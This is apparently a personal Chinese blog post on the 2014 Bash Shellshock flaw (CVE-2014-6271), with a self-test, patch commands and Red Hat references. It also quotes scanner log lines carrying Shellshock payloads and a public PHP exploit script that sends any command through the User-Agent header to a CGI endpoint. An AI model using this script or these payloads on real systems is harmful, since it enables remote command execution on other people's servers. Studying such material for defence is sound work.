最近几年爆发的安全漏洞真的是越来越“基础/底层”了,从去年7月份的Apache Struts2远程命令执行漏洞,到今年4月份的OpenSSL HeartBleed漏洞,再加上这次的Bash环境变量远程命令执行漏洞……不知道下次的爆发会是在什么时候?
参加完培训回来之后发现群里面有小伙伴讨论这个,不过对公司没什么影响,因为没有使用Bash作为解释器的网关接口。
既然公司不受影响,那我就先看看自己的系统是否受影响吧:
# env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
vulnerable
this is a test
# echo $SHELL
/bin/bash
# bash --version
GNU bash, version 4.3.11(1)-release (i686-pc-linux-gnu)
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
#
# env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
this is a test
# https://access.redhat.com/articles/1200223
希望修复的还算及时o(╯□╰)o
受影响的系统包括:
Redhat
CentOS
Debian
Ubuntu
RedHat系列 可通过更新 bash 并重启系统来解决这个问题:
# yum update bash
或者:
# yum update bash-4.1.2-15.el6_5.1
此举只是更新了 bash 包,还需要重启系统才能生效。
Ubuntu 用户可以通过如下命令打补丁,无需重启:
apt-get update
apt-get install bash
相关描述:
GNU Bash 4.3及之前版本在处理某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行shell命令。某些服务和应用允许未经身份验证的远程攻击者提供环境变量以利用此漏洞。此漏洞源于在调用bash shell之前可以用构造的值创建环境变量。这些变量可以包含代码,在shell被调用后会被立即执行。
此漏洞可能会影响到使用ForceCommand功能的OpenSSH sshd、使用mod_cgi或mod_cgid的Apache服务器、DHCP客户端、其他使用bash作为解释器的应用等。
目前认为使用mod_php/mod_python/mod_perl的Apache httpd不受此问题影响。
参考链接:
- https://access.redhat.com/articles/1200223
- Bash specially-crafted environment variables code injection attack | Red Hat Security
- Bash Code Injection Vulnerability via Specially Crafted Environment Variables (CVE-2014-6271)
- GNU Bash 环境变量远程命令执行漏洞(CVE-2014-6271)
稍稍检查了一下自己的日志文件,还是有那么几个扫描事件的,没什么感觉,要扫你就扫吧,除非把blog给弄崩了,否则,一般也没多的精力去处理这方面的事了(也不知道现在都在忙些什么,想些什么去了???),但是,这样的典型IP还是需要列一列的:
54.251.83.67 - - [27/Sep/2014:01:39:08 +0800] "GET / HTTP/1.1" 302 5 "-" "() { :;}; /bin/bash -c x22echo testing9123123x22; /bin/uname -a" - 0.000
198.20.69.74 - - [26/Sep/2014:08:17:05 +0800] "GET / HTTP/1.1" 302 5 "() { :; }; /bin/ping -c 1 104.131.0.69" "() { :; }; /bin/ping -c 1 104.131.0.69" - 0.001
89.207.135.125 - - [25/Sep/2014:16:29:20 +0800] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 162 "-" "() { :;}; /bin/ping -c 1 198.101.206.138" - 0.187
PHP版的CVE-2014-6271验证脚本
<?php
/*
Title: Bash Specially-crafted Environment Variables Code Injection Vulnerability
CVE: 2014-6271
Vendor Homepage: https://www.gnu.org/software/bash/
Author: Prakhar Prasad && Subho Halder
Author Homepage: https://prakharprasad.com && https://appknox.com
Date: September 25th 2014
Tested on: Mac OS X 10.9.4/10.9.5 with Apache/2.2.26
GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13)
Usage: php bash.php -u http://<hostname>/cgi-bin/<cgi> -c cmd
Eg. php bash.php -u http://localhost/cgi-bin/hello -c "wget http://appknox.com -O /tmp/shit"
Reference: https://www.reddit.com/r/netsec/comments/2hbxtc/cve20146271_remote_code_execution_through_bash/
Test CGI Code : #!/bin/bash
echo "Content-type: text/html"
echo ""
echo "Bash-is-Vulnerable"
*/
error_reporting(0);
if(!defined('STDIN')) die("Please run it through command-line!n");
$x = getopt("u:c:");
if(!isset($x['u']) || !isset($x['c'])) {
die("Usage: ".$_SERVER['PHP_SELF']." -u URL -c cmdn");
}
$url = $x['u'];
$cmd = $x['c'];
$context = stream_context_create(
array(
'http' => array(
'method' => 'GET',
'header' => 'User-Agent: () { :;}; /bin/bash -c "'.$cmd.'"'
)
)
);
$req = file_get_contents($url, false, $context);
if(!$req && strpos($http_response_header[0],"500") > 0 )
die("Command sent to the server!n");
else if($req && !strpos($http_response_header[0],"500") > 0)
die("Server didn't respond as it should!n");
else if(!$req && $http_response_header == NULL)
die("A connection error occurred!n")
?>
《 “关于这次的“GNU Bash 环境变量远程命令执行漏洞(CVE-2014-6271)”” 》 有 4 条评论
Linux下如何用C语言程序打印出所有的环境变量
https://stackoverflow.com/questions/2085302/printing-all-environment-variables-in-c-c
https://stackoverflow.com/questions/3473692/list-environment-variables-with-c-in-unix
https://stackoverflow.com/questions/16765545/how-to-list-all-environment-variables-in-a-c-c-app
https://linux.die.net/man/7/environ
`
extern char **environ;
// 或
int main(int argc, char **argv, char** env) {
while (*env)
printf(“%s\n”, *env++);
return 0;
}
`
DHCP 客户端脚本代码执行漏洞披露(CVE-2018-1111)
https://access.redhat.com/security/vulnerabilities/3442151
https://access.redhat.com/security/cve/cve-2018-1111
https://twitter.com/i/web/status/996470756283486209
`
In DHCP based environments where NetworkManager is used by default, installing updated DHCP packages is strongly recommended.
`
DynoRoot DHCP 客户端命令注入漏洞 Exp
https://www.exploit-db.com/exploits/44652/
https://github.com/kkirsche/CVE-2018-1111
CVE-2018-1111复现
https://mp.weixin.qq.com/s/UEMdmuRxPiHKDfTxnc501A